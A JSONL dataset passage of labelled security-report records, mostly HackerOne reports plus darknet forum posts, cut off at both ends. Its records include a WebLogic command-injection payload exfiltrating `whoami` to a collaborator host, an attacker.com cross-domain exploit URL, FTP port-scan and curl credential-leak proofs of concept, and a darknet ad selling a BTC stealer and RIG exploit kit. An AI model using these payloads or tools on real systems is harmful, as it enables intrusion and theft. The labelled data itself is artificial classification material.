empty.\n3. Enter `[Close]something'/>\n \n \n \n \n \n \n /bin/bash\n \n \n -c\n \n \n ping `whoami`.fexpwcppysiky1grj7mbodap5gb7zw.burpcollaborator.net\n \n \n \n \n \n \n \n \n \n```\n==**Note:**== \n* **To reproduce this case with nslookup or ping, `fexpwcppysiky1grj7mbodap5gb7zw.burpcollaborator.net` host should be replaced by your own Burp Collaborator instance or with your private `VPS IP` to catch the DNS request**\n\n##_**Example:**_\n\n``` \nping `whoami`.fexpwcppysiky1grj7mbodap5gb7zw.burpcollaborator.net\nnslookup `whoami`.fexpwcppysiky1grj7mbodap5gb7zw.burpcollaborator.net\n```\n==**POC:**== {F736973}\n\n## Suggested Mitigation/Remediation Actions\n* Patching WebLogic to the recent version will fix the issue.\n\n## Impact\n\n**This vulnerability allow an unauthenticated attacker:**\n* To perform Remote OS Command Execution", "source": "hackerone", "timestamp": "2021-04-25", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "c15a169ce4472b1b8d57", "text": "[Information Disclosure] CRXDE Lite/CRX is on ██████ exposed that leads to PII disclosure\n\nhi team ,\ni found that aem is running on``` ████████ ``` and CRXDE Lite/CRX is exposed to unauthenticated user that can lead to information disclosure\n\nPOC\n====\n1-visit ``` https://██████//██████████ ```\n2-go to query and search for admin then execute\n3-go to this endpoint to retrieve the information \n```\nhttps://████████//████████/███\n```\n[+]Request\n```\nGET //███/███ HTTP/1.1\nHost: ████\nConnection: close\nsec-ch-ua: \"Chromium\";v=\"88\", \"Google Chrome\";v=\"88\", \";Not A Brand\";v=\"99\"\nsec-ch-ua-mobile: ?0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: none\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en-XA;q=0.9,en;q=0.8\nCookie: oauth-configid=██████\n\n\n```\n[+]Response\n```\nHTTP/1.1 200 OK\nDate: Thu, 04 Feb 2021 22:23:42 GMT\nX-Content-Type-Options: nosniff\nX-Frame-Options: SAMEORIGIN\nContent-Type: application/json;charset=utf-8\nContent-Length: 1789\nConnection: close\nSet-Cookie: ███████; path=/; Httponly; Secure\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nSet-Cookie: f5avraaaaaaaaaaaaaaaa_session_=█████████; HttpOnly; secure\nSet-Cookie: █████████; Path=/\n\n████████\n\n```\n\n█████████\n\n## Impact\n\nPII exposure\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1-visit ``` https://████████//█████████ ```\n2-go to query and search for admin then execute\n3-go to this endpoint to retrieve the information \n```\nhttps://█████//███████/████\n```\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2021-03-11", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "f256ff1f84425df11229", "text": "[UI Redressing (Clickjacking)] Click jacking\n\nVulnerability description\r\nClickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages. \r\n\r\n\r\nAffected items\r\nWeb Server \r\n\r\nThe impact of this vulnerability\r\nThe impact depends on the affected web application.", "source": "hackerone", "timestamp": "2014-07-08", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "daed284cbf6493fdf8a0", "text": "[Information Disclosure] CVE-2020-8169: Partial password leak over DNS on HTTP redirect\n\n## Summary:\nFrom version 7.62 curl and curllib leaks part of user credentials in the plain text DNS request. This happens if the server makes redirect, both 301 and 302 to a relative path (eg header 'Location: /login'). It is NOT an issue in case of absolute redirection (eg header 'Location: https://domain.tld/login').\nI was able to make curl/curlib to send a password that started with @ but I believe that more abuse is possible with this attack. \nWhat makes is worst is that for eg occasionally run/daemon scripts with curl and authorization credentials this can be triggered by a remote server by switching between absolute/relative without any change on client-side.\nUser secrets are sent in plain text and anybody in the middle can record them. User secrets are sent to the DNS server and can be recorded there.\n\n## Steps To Reproduce:\n\n 1. Use curl > 7.61 (tested on all from 7.62 to 7.70 and I was able to exploit it)\n 1. Find a server with relative redirection (eg https://mareksz.gq/301 or https://mareksz.gq/302)\n 1. Run 'curl https://mareksz.gq/302 -v -L -u saduser:@S3cr3t'\n\n## Supporting Material/References:\nLogs from running above steps:\n\n/ $ curl -V\ncurl 7.66.0-DEV (x86_64-pc-linux-gnu) libcurl/7.66.0-DEV OpenSSL/1.1.1d zlib/1.2.11 nghttp2/1.39.2\nRelease-Date: [unreleased]\nProtocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp\nFeatures: AsynchDNS HTTP2 HTTPS-proxy IPv6 Largefile libz NTLM NTLM_WB SSL TLS-SRP UnixSockets\n/ $ curl https://mareksz.gq/302 -v -L -u saduser:@S3cr3t\n* Trying 194.182.85.202:443...\n* TCP_NODELAY set\n* Connected to mareksz.gq (194.182.85.202) port 443 (#0)\n* ALPN, offering h2\n* ALPN, offering http/1.1\n* successfully set certificate verify locations:\n* CAfile: /etc/ssl/certs/ca-certificates.crt\n CApath: none\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.2 (IN), TLS handshake, Certificate (11):\n* TLSv1.2 (IN), TLS handshake, Server key exchange (12):\n* TLSv1.2 (IN), TLS handshake, Server finished (14):\n* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):\n* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.2 (OUT), TLS handshake, Finished (20):\n* TLSv1.2 (IN), TLS handshake, Finished (20):\n* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384\n* ALPN, server accepted to use http/1.1\n* Server certificate:\n* subject: CN=mareksz.gq\n* start date: Apr 27 10:32:33 2020 GMT\n* expire date: Jul 26 10:32:33 2020 GMT\n* subjectAltName: host \"mareksz.gq\" matched cert's \"mareksz.gq\"\n* issuer: C=US; O=Let's Encrypt; CN=Let's Encrypt Authority X3\n* SSL certificate verify ok.\n* Server auth using Basic with user 'saduser'\n> GET /302 HTTP/1.1\n> Host: mareksz.gq\n> Authorization: Basic c2FkdXNlcjpAUzNjcjN0\n> User-Agent: curl/7.66.0-DEV\n> Accept: */*\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 302 Moved Temporarily\n< Server: nginx\n< Date: Fri, 15 May 2020 08:32:59 GMT\n< Content-Type: text/html\n< Content-Length: 138\n< Connection: keep-alive\n< Location: /goto302\n<\n* Ignoring the response-body\n* Connection #0 to host mareksz.gq left intact\n* Issue another request to this URL: 'https://saduser@S3cr3t@mareksz.gq/goto302'\n* Could not resolve host: S3cr3t@mareksz.gq\n* Closing connection 1\ncurl: (6) Could not resolve host: S3cr3t@mareksz.gq\n\n\nTrafic pcap'ed:\n\n/ $ tcpdump 'udp' -vv\nX.X.X.X:X IP (tos 0x0, ttl 255, id 57291, offset 0, flags [none], proto UDP (17), length 63)\n _ > _ : [udp sum ok] 27230+ A? S3cr3t@mareksz.gq. (35)\nX.X.X.X:X IP (tos 0x0, ttl 255, id 55686, offset 0, flags [none], proto UDP (17), length 63)\n _ > _ : [udp sum ok] 51727+ AAAA? S3cr3t@mareksz.gq. (35)\nX.X.X.X:X IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 136)\n _ > _ : [udp sum ok] 27230 NXDomain q: A? S3cr3t@mareksz.gq. 0/1/0 ns: gq. SOA a.ns.gq. info.equatorialguineadomains.com. 1589532137 10800 3600 604800 5 (108)\nX.X.X.X:X IP (tos 0x0, ttl 64, id 0, offset 0, flags [", "source": "hackerone", "timestamp": "2020-12-05", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "393a90bf9147798d8ef7", "text": "[Improper Access Control - Generic] CORS on (ws.infogram.com)\n\nHey Team i don't know if it's valid or not i just want to let you know about this thanks.\n```````````\nExploit\n``````````````````\n\n\n\n\n## Impact\n\nAs with superpowers, it’s all about knowing how to use it. Therefore, CORS is not necessarily a bad thing. We’ve seen in many cases that CORS has legitimate use, and this is why it was invented and made a web standard in the first place. However, you need to be aware of the CORS configuration you set up in your server and the side effects this has on security.", "source": "hackerone", "timestamp": "2018-10-08", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "9312188a673302cb92a1", "text": "[Unknown] Bypass restrict of member subscription to use custom background in https://3d.cs.money without prime subscription\n\n## Summary:\nIn website https://3d.cs.money you need to subscribe prime to have a custom background for skin \n\n{F999661}\n\nBut with this vulnerability, we can use custom background without any fee required\n\n\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n- Grab a build of skin\n- Save it. Modify request\n\n```\nPOST /api/build/save HTTP/1.1\nHost: 3d.cs.money\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0\nAccept: application/json, text/plain, */*\nAccept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3\nContent-Type: application/json;charset=utf-8\nContent-Length: 8197\nOrigin: https://3d.cs.money\nConnection: close\nReferer: https://3d.cs.money/item/1A0EmD0OCs\nCookie: __cfduid=dd4a5ae822200c2e5a6622942c8e9b5c61600828055; TEST_GROUP=6; UUID3D=z8yNnunP7rEULv4; _ga=GA1.1.123687832.1600828067; _ga_HY7CCPCD7H=GS1.1.1600870816.3.1.1600874988.52; _gid=GA1.2.745101638.1600828070; language=en; sellerid=2351662; theme=darkTheme; pro_version=false; tmr_reqNum=60; tmr_lvid=a86af86a1e546621ee998805dedf795e; tmr_lvidTS=1600829462593; _ym_uid=1600829464576681153; _ym_d=1600829464; prism_89846284=886529b3-1b72-491d-8e3e-fb061941ce6b; amplitude_id_222f15bd4f15cdfaee99c07bcc641e5fcs.money=eyJkZXZpY2VJZCI6ImJlNWM1YjhmLWE3OTQtNDZiNC1iMzg5LWU2MzljYThkZTNiNlIiLCJ1c2VySWQiOiI3NjU2MTE5ODM4OTQwODM5MiIsIm9wdE91dCI6ZmFsc2UsInNlc3Npb25JZCI6MTYwMDg3MTY1Mzk0NywibGFzdEV2ZW50VGltZSI6MTYwMDg3MTY5NDEzMCwiZXZlbnRJZCI6MjYsImlkZW50aWZ5SWQiOjEzLCJzZXF1ZW5jZU51bWJlciI6Mzl9; _ym_isad=2; _fbp=fb.1.1600829468046.1736484188; csmoney_ga=GA1.2.348732095.1600829528; csmoney_ga_gid=GA1.2.929098124.1600829528; type_device=desktop; support_token=904edd01ef3c4b4fde31754954db74025c1ccfa067c1e9b78226f8aa1479ac75; amplitude_id_c14fa5162b6e034d1c3b12854f3a26f5cs.money=eyJkZXZpY2VJZCI6IjU0MTdhZjg4LTE0NDgtNDg3NC05YmNkLTFmMjczOGIwY2EyZFIiLCJ1c2VySWQiOiI3NjU2MTE5ODM4OTQwODM5MiIsIm9wdE91dCI6ZmFsc2UsInNlc3Npb25JZCI6MTYwMDg3MTM3MzEzMiwibGFzdEV2ZW50VGltZSI6MTYwMDg3NDgxMzYxMywiZXZlbnRJZCI6MTQzLCJpZGVudGlmeUlkIjozLCJzZXF1ZW5jZU51bWJlciI6MTQ2fQ==; amp_d77dd0=nCXsKPRaEaZ_9OrPDjz6cM...1eitodi6u.1eitpb9lt.0.0.0; amp_d77dd0_cs.money=nCXsKPRaEaZ_9OrPDjz6cM...1eitodi71.1eitpba7b.u.0.u; steamid=76561198389408392; avatar=https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/9e/9e972864d883f1b2e12cde94c8f83ef005c22438_medium.jpg; username=khoadeptrai; thirdparty_token=fa1cc1d8330558c52db7fa1347a93d94a6ec0586e67e8de6530ee506a15ac6df; _ym_visorc_62327980=w; _gat_UA-77178353-9=1; _gat_UA-77178353-1=1\n\n{\"data\":{\"_id\":\"5ef6558b28c55325932ac431\",\"defindex\":7,\"paintindex\":282,\"rarity\":5,\"quality\":4,\"paintwear\":1040943208,\"paintseed\":1,\"origin\":4,\"dropreason\":null,\"floatvalue\":0.13626253604888916,\"is_stattrak\":false,\"assetid\":\"18947899176\",\"uuid\":\"qd8OqzS\",\"stickers\":[],\"time\":1593202059096,\"__v\":0,\"createdAt\":1600586351204,\"updatedAt\":1600586351204,\"item_name\":\"AK-47\",\"skin_name\":\"Redline\",\"wear_name\":\"Minimal Wear\",\"rarity_name\":\"Classified\",\"item_type\":\"Rifle\",\"quality_name\":\"Unique\",\"id\":\"5ef6558b28c55325932ac431\",\"paint\":{\"name\":\"cu_ak47_cobra\",\"description_string\":\"#PaintKit_cu_awp_cobra\",\"description_tag\":\"#PaintKit_cu_awp_cobra_tag\",\"style\":\"7\",\"pattern\":\"ElegantREDV1.1\",\"pattern_scale\":\"1.000000\",\"phongexponent\":\"150\",\"phongintensity\":\"10\",\"ignore_weapon_size_scale\":\"1\",\"only_first_material\":\"0\",\"pattern_offset_x_start\":\"0.000000\",\"pattern_offset_x_end\":\"0.000000\",\"pattern_offset_y_start\":\"0.000000\",\"pattern_offset_y_end\":\"0.000000\",\"pattern_rotate_start\":\"0.000000\",\"pattern_rotate_end\":\"0.000000\",\"wear_remap_min\":\"0.100000\",\"wear_remap_max\":\"0.700000\"},\"item\":{\"name\":\"weapon_ak47\",\"prefab\":\"statted_item_base\",\"item_quality\":\"unique\",\"baseitem\":\"1\",\"default_slot_item\":\"1\",\"item_sub_position\":\"rifle1\",\"item_class\":\"weapon_ak47\",\"item_name\":\"#SFUI_WPNHUD_AK47\",\"item_description\":\"#CSGO_Item_Desc_AK47\",\"item_rarity\":\"common\",\"image_inventory\":\"https://webhook.site/d0aef653-d8b8-4010-9810-72b277e8238c\",\"", "source": "hackerone", "timestamp": "2020-09-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "51cd814db439e682b0a8", "text": "[Cross-site Scripting (XSS) - Generic] [Android] HTML Injection in BatterySaveArticleRenderer WebView\n\n## Summary:\n\nHTML Injection in BatterySaveArticleRenderer WebView.\n\n## Products affected: \n\n * Android Brave Browser 1.9.56\n\n## Steps To Reproduce:\n\n * Open https://blackfan.ru/brave or html\n\n```html\n\n```\n* Wait for a full load\n* Click on ArticleModeButton\n\n## Supporting Material/References:\n\nVulnerable code:\n```java\npublic class aot\n...\n// s7 == title\nif(s7 != null)\n{\n s4 = (new StringBuilder()).append(s5).append(\"\").append(s7).append(\"\").toString();\n s1 = (new StringBuilder()).append(s6).append(\"

\").append(s7).append(\"

\").toString();\n...\n// s8 == authorName\nif(s8 != null)\n s1 = (new StringBuilder()).append(\"\").append(s8).append(\", \").toString();\n```", "source": "hackerone", "timestamp": "2018-10-22", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "5402463363aa3d34a534", "text": "FLIR Systems FLIR Thermal Traffic Cameras Websocket Device Manipulation\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2018-10-06", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "40a96c7db080737c65b1", "text": "STVS ProVision 5.9.10 Cross-Site Request Forgery (Add Admin)\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2021-01-26", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "3dc59825ca8be9bf8a5c", "text": "[Agora] SCAM HEARTBLEED Message from 'Agora Staff' Imposter!!! DO NOT DOWNLOAD THEIR TOR\n\nBelow is a message from the user \"-Agora-\" DO NOT DOWNLOAD OR GO TO LINKAgora Announcement 2014-04-22On April 7th 2014 details of a serious bug in the OpenSSL library were made public. This bug which affected a large number of web servers and devices was popularly referred to as 'Heartbleed'. The bug allows anybody connecting to a vulnerable service to reveal the contents of memory on the server - and thus reveal secret keys user information ip addresses passwords etc.There is more information about the bug and the versions of OpenSSL that are affected at the website setup for the bug:http://heartbleed.com/Agora is a hidden service served on the Tor network and while we are not using the vulnerable library that is affected the Tor software (Browser) that you use to access our site is affected by this bug since it integrates the OpenSSL library. The Tor project wrote a blog post about how this bug affects various aspects of the Tor service:https://blog.torproject.org/blog/openssl-bug-cve-2014-0160For users of the Tor Browser Bundle you should immediately upgrade to the latest release version immediately as the bundled version of Tor is vulnerable to the attack.Get the latest Tor Browser Bundle version fromhttp://[VirusHijack&Keyloger]files/latest/@TRIPLE_MD5HASHWe are doing our very best to protect our security as well as yours but you also must put in efforts to protect yourself.We are also stepping up efforts to secure our withdrawal system. The new system went live on the 16th. Current withdrawals may take up to 48 hours to appear in your wallet.-Agora", "source": "gayanku", "timestamp": "2014-04-24", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "25b9a26b3e214982229f", "text": "[Unknown] Flash Cross Domain Policy Bypass by Using File Upload and Redirection - only in Chrome\n\nCVE-2015-0337: https://helpx.adobe.com/security/products/flash-player/apsb15-05.html\r\n+ \r\nhttps://code.google.com/p/chromium/issues/detail?can=2&start=0&num=100&q=&groupby=&sort=&id=425280\r\n\r\n==VULNERABILITY DETAILS==\r\nIt is possible to bypass Flash Cross Domain policy in Google Chrome to read other websites' contents after a user uploads a file to a destination that redirects the user to the target website. It is also possible to send a file upload request to a target website without checking the cross domain policy by using an open redirect with status code of 307 (or 308).\r\nThis attack works as follows:\r\n1- The \"FileReference\" class provides a means to upload file to a target server in ActionScript.\r\n2- It accepts a URL as the destination for the file upload process.\r\n3- It also has access to the target website's contents via the \"UPLOAD_COMPLETE_DATA\" event. This event is dispatched after data is received from the server after a successful upload.\r\n4- If the target website redirects the user to another website, Flash in Google Chrome follows the redirection and discloses the destination content via the \"UPLOAD_COMPLETE_DATA\" event (first security issue). Moreover, if the target website redirects the user with status code of 307 (or 308), Google Chrome send the same file upload request to the final destination without checking the cross domain policy (second security issue).\r\n\r\n==REPRODUCTION CASE==\r\nA SWF PoC file and its ActionScript source has been attached.\r\nThis SWF file can be hosted on any website to target other websites.\r\nhttp://attacker.com/chromeFileUploadCrossDomain.swf?url=redirect.php?input=https://plus.google.com/u/0/\r\n\r\n\"redirect.php\" is just a simple open redirect to the target URL. An example is as follows:\r\nhttp://attacker.com/chromeFileUploadCrossDomain.swf?url=http://0me.me/demo/openredirect/redirect.php?target=https://plus.google.com/u/0/%26status=301\r\nNote: \"0me.me\" has an open cross domain policy and that's why we did not need to host it on \"attacker.com\".\r\n\r\nAn image has been attached that shows the result of exploiting this vulnerability. Source code of the \"redirect.php\" file has also been attached just for information.", "source": "hackerone", "timestamp": "2015-05-06", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "1e878866de6f75b33429", "text": "u5CMS 3.9.3 Multiple Open Redirect Vulnerabilities\n\nSeverity: low", "source": "zeroscience", "timestamp": "2015-02-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ec3f2de4bda87ceb80f6", "text": "[Information Disclosure] lib/net/ftp.rb: trusting PASV responses allow client abuse\n\nWhen `net/ftp` performs a passive FTP transfer, it tries to using PASV. Passive mode is what `net/ftp` uses by default.\nA server response to a PASV command includes the (IPv4) address and port number for the client to connect back to in order to perform the actual data\ntransfer.\n\nThis is how the FTP protocol is designed to work.[^1] \n\nA malicious server can use the PASV response to trick `net/ftp` into connecting back to a given IP address and port, and this way potentially make it extract information about services that are otherwise private and not disclosed, for example doing port scanning and service banner extractions.\nIf `net/ftp` operates on a URL provided by a user (with by all means is an unwise setup), a user can exploit that and pass in a URL to a malicious FTP server instance without needing any server breach to perform the attack.\n\nOther FTP clients have in the past also had this flaw and have fixed it at different points in time:\n* Chrome in 2009: https://github.com/chromium/chromium/commit/a1cea36673186829ab5d1d1408ac50ded3ca5850\n* Curl in 2020 (CVE-2020-8284) : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8284\n* Firefox in 2007 (CVE-2007-1562): https://bugzilla.mozilla.org/show_bug.cgi?id=370559. In that bugzilla issue there's also a link to paper that describes exactly this and lists a few affected clients (link to archive.org since the original has vanished) https://web.archive.org/web/20070317052623/http://bindshell.net/papers/ftppasv/ftp-client-pasv-manipulation.pdf\n\n[^1]: With one exception: EPSV. The correct behaviour is first try the EPSV command and if that is not supported, fall back to using PASV.\n\n## Impact\n\nThis behavior is by design (unless `EPSV ALL` is sent) but it could still lead to security issues depending on the context. \nI encountered this issue within a web application with a server-side request forgery (SSRF) issue (but this issue applies to any form of SSRF with `net/ftp` as the request processor). In that context, one can get the following additional capabilities:\n\n* Reliable tcp port scanning (this is not normally possible by just providing a random ip:port to `net/ftp`)\n* Network service banner extraction (we setup the data channel on the target ip:port and extract for example an ssh banner: `SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8` without any errors)\n* Potential bypass of ip/port restrictions, e.g. the server might be filtering internal IPs or allowing only specific ports (but still allowing FTP)\n\n# PoC\n\nI used the following simple code:\n```ruby\nrequire 'net/ftp'\nftp = Net::FTP.new\nftp.connect(ARGV[0], ARGV[1])\nftp.login\n#ftp.passive = true # by default\nftp.getbinaryfile('/whatever', 'whatever')\nftp.close\n```\nAnd the custom ftp-server:\n```\n[Parent] Got connection from 192.168.100.2:43520... Spawned process 31749 to handle connection\n[PID 31749] SEND: 220 FTP PASV Demo Server v1.0\n[PID 31749] RECV: USER anonymous\n[PID 31749] SEND: 331 Please specify the password.\n[PID 31749] RECV: PASS anonymous@\n[PID 31749] SEND: 230 Login successful.\n[PID 31749] RECV: TYPE I\n[PID 31749] SEND: 200 Switching to Binary mode.\n[PID 31749] RECV: PASV\n[PID 31750] Handling incoming request to PASV port\n>>> Sending 127.0.0.1:8123\n[PID 31750] SEND: 227 Entering Passive Mode (127,0,0,1,31,187)\n[PID 31750] Exiting\n-------------------------------- The Port is Open ---------------------------------\n[PID 31749] RECV: RETR /whatever\n[PID 31749] SEND: 150 Opening BINARY mode data connection for /whatever (0 bytes).\n[PID 31749] SEND: 226 File send OK.\n[PID 31749] Exiting\n----------------------------------------------------------------------------------\n[Parent] Got connection from 192.168.100.2:43524... Spawned process 31787 to handle connection\n[PID 31787] SEND: 220 FTP PASV Demo Server v1.0\n[PID 31787] RECV: USER anonymous\n[PID 31787] SEND: 331 Please specify the password.\n[PID 31787] RECV: PASS anonymous@\n[PID 31787] SEND: 230 Login successful.\n[PID 31787] RECV: TYPE I\n[PID 31787] SEND: 200 Switching to Binary", "source": "hackerone", "timestamp": "2021-07-08", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "42813475cfc5ecaebe2b", "text": "[Unknown] Create an Unexpected Object and Don't Invoke __wakeup() in During Deserialization\n\nhttps://bugs.php.net/bug.php?id=72663\n\nthe first commit for fix this bug at:\nhttps://github.com/php/php-src/commit/448c9be157f4147e121f1a2a524536c75c9c6059\nbut this commit lead to type confusion, i reported this bug at comments. then the improve fix commit at:\nhttps://github.com/php/php-src/commit/639f7fde6a51c23d7c670358fbcb777ac1a143f3", "source": "hackerone", "timestamp": "2019-10-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "fd309eafe09f03cdacea", "text": "[Uncontrolled Resource Consumption] Malformed SHA512 ticket DoS (CVE-2016-6302)\n\nIf a server uses SHA512 for TLS session ticket HMAC it is vulnerable to a\nDoS attack where a malformed ticket will result in an OOB read which will\nultimately crash.\n\nThe use of SHA512 in TLS session tickets is comparatively rare as it requires\na custom server callback and ticket lookup mechanism.\n\nrefer:\nhttps://www.openssl.org/news/secadv/20160922.txt", "source": "hackerone", "timestamp": "2017-05-25", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b5246cea68b401c0f454", "text": "[Privilege Escalation] User with Read-Only permissions can edit the SwagAwarded Activities on Bug Reports\n\nPoc :\n\n1.Login into Program(testbug) as owner account\n2.Create a new group with \"Reward\" Permission . Add a user to that group\n3.Create a new group with \"Read-only\" Permission . Add a user to that group\n3.Login into user account Report a bug to Program (testbug)\n4.\"Reward\" Permission User awarded a swag with some body of contents\n5.\"Read-only\" Permission user able to edit the SwagAwarded Activities on Bug Reports . by following Request \n\nPUT /activities/812406 HTTP/1.1\n\nContent-Type: application/json\nAccept: application/json, text/javascript, */*; q=0.01\nX-Requested-With: XMLHttpRequest\n\nAccept-Language: en-US\nAccept-Encoding: gzip, deflate\n\n\n{\"id\":812406,\"is_internal\":false,\"editable\":true,\"type\":\"Activities::SwagAwarded\",\"message\":\"pieeeeeee lololololololo\",\"markdown_message\":\"

pieeeeeee lololololololo

\\n\",\"automated_response\":false,\"created_at\":\"2016-02-25T11:10:47.137Z\",\"updated_at\":\"2016-02-25T11:15:18.087Z\",\"actor\":{\"url\":\"/s0uq\",\"name\":\"h1\",\"ibb\":false,\"profile_picture_urls\":{\"medium\":\"/assets/global-elements/add-team-72fa1f23b08270406d1149d06f6968ed.png\"}},\"reporter\":{\"username\":\"demo-researcher\",\"url\":\"/demo-researcher\"}}\n\nResponse :\n\nHTTP/1.1 200 OK\nServer: cloudflare-nginx\nDate: Thu, 25 Feb 2016 11:16:41 GMT\nContent-Type: application/json; charset=utf-8\nConnection: close\nStatus: 200 OK\n\n\n{\"id\":812406,\"is_internal\":false,\"editable\":true,\"type\":\"Activities::SwagAwarded\",\"message\":\"lololololololo\",\"markdown_message\":\"\\u003cp\\u003e lololololololo\\u003c/p\\u003e\\n\",\"automated_response\":false,\"created_at\":\"2016-02-25T11:10:47.137Z\",\"updated_at\":\"2016-02-25T11:15:18.087Z\",\"actor\":{\"url\":\"/s0uq\",\"name\":\"h1\",\"ibb\":false,\"profile_picture_urls\":{\"medium\":\"/assets/global-elements/add-team-72fa1f23b08270406d1149d06f6968ed.png\"}}}\n\nRegards,\ntechguynoob", "source": "hackerone", "timestamp": "2016-04-01", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "ce3fba370951cfb06238", "text": "[Reddit Darknet Markets] BlackBank Service Under DDOS\n\nthats still in the hours, just ~31 of them", "source": "gayanku", "timestamp": "2015-05-08", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "9d23409354050fb59733", "text": "[Evolution] C++ Developer | New Vender | 2 Products | Free Sample to promote Sales\n\nHey guys I am finally a Vendor! http://k5zq47j6wd3wdvjq.onion/store/257949Anywho to promote myself I will be giving 1 Free sample to my BTC Stealer and 1 Free Sample to my RIG Exploit kit.------------------------------------------------------------------------------------------------------------Universal BTC Stealer: http://k5zq47j6wd3wdvjq.onion/listing/87474------------------------------------------------------------------------------------------------------------Universal BTC Stealer is a BTC stealer which targets 3 of the most popular wallet clients, and employs a general stealing technique. There are two main modes in which the software operates in order to steal BTC:The software detects any BTC addresses copied to the clipboard of the PC, and replaces them with a customer specified address. So whenever a victim copies and pastes a BTC address to pay, it is replaced with yours.The software also scans the system's drives for wallet files of the following 3 wallet clients: Multi-Bit, Electrum, and Bitcoin-QT.After finding wallet files on the system, the software is able to detect whether or not the wallet is encrypted with a password. It then social engineers the victim for their wallet password with the following pop up dialog:http://i.imgur.com/Dl7G3Wq.pngThis function targets both Multi-Bit and Electrum wallets.Stolen wallet files along with general infection statistics are viewed in the following HTTP panel, which is available in both English and German.http://imgur.com/a/pBaBQ/allUniversal BTC Stealer features:- Tested on Windows XP-8, x86 + x64- Full Unicode support- Stub size of 75kB- Startup through registry- Replaces copied BTC addresses with customer provided address- Wallet stealing + password stealing capabilities for most common wallet clients- Extensive error logging system to pinpoint any issues quickly and effectivelyWant to buy?:Listing: http://k5zq47j6wd3wdvjq.onion/listing/87474$100 first customer ( first sale occurred )$350 after first saleFull support:Coder: 0x43@exploit.im ( online 14+ hours a day )------------------------------------------------------------------------------------------------------------RIG Exploit Kit: http://k5zq47j6wd3wdvjq.onion/listing/87480------------------------------------------------------------------------------------------------------------Are pleased to introduce you to RIG exploits v2.0-Work On all WinOS 32 / 64bi-Bypass UAC on exploits-Fast cleaning + cleaning on request-Keep Large volumes of traffic, no traffic limits-We provide always clean and trust domains with automatic check on the blacklist-We use CVE-2013-7331 for detect and stop AV or virtual machines.-API with automatic deliveryEach account has a 2 stream and can ship 2 different exeCurrent exploits:✔ Java: CVE-2012-0507 ✔ Java: CVE-2013-2465✔ IE7-8-9: CVE-2013-2551✔ IE10:CVE-2013-0322✔ Flash:CVE-2014-0497✔ Flash:CVE-2015-0311✔ Silverlight:CVE-2013-0074An average rate of 10-20%Cost:1 day - 50 usdWeek - 200 usdmonth - 700 usd Jabber: 0x43@exploit.im------------------------------------------------------------------------------------------------------------How to get free sample:Must have 300+ PostMust have account longer than 3 monthsExplain which one you want and why you should be picked.------------------------------------------------------------------------------------------------------------Last edited by Stiax (2015-02-07 16:49:24)", "source": "gayanku", "timestamp": "2015-02-06", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "46f6f36b11b56ebba7a7", "text": "[Buffer Over-read] Out-Of-Bounds Read in timelib_meridian()\n\nDescription\nWhile deserializing an invalid dateTime value, wddx_deserialize() would result in a heap out-of-bounds read in timelib_meridian(). As wddx_deserialize() is exposed to network data, and sometimes echo the results back to client, this issue could potentially allow remote peeking of the process memory. It should also affect other PHP APIs that make use of timelib_meridian().\nThis issue is similar to but is a separate issue of CVE-2017-11145, it is related to the \"back of\" and \"front of\" directives in the timelib format.\n\nDetails can be found at: https://bugs.php.net/bug.php?id=75055\n\nImpact\nAffects both PHP 5 before 5.6.32 (ChangeLog http://www.php.net/ChangeLog-5.php#5.6.32) and PHP 7 before 7.1.11 (ChangeLog http://www.php.net/ChangeLog-7.php#7.1.11).\nResolved PHP bug report, will update the pending 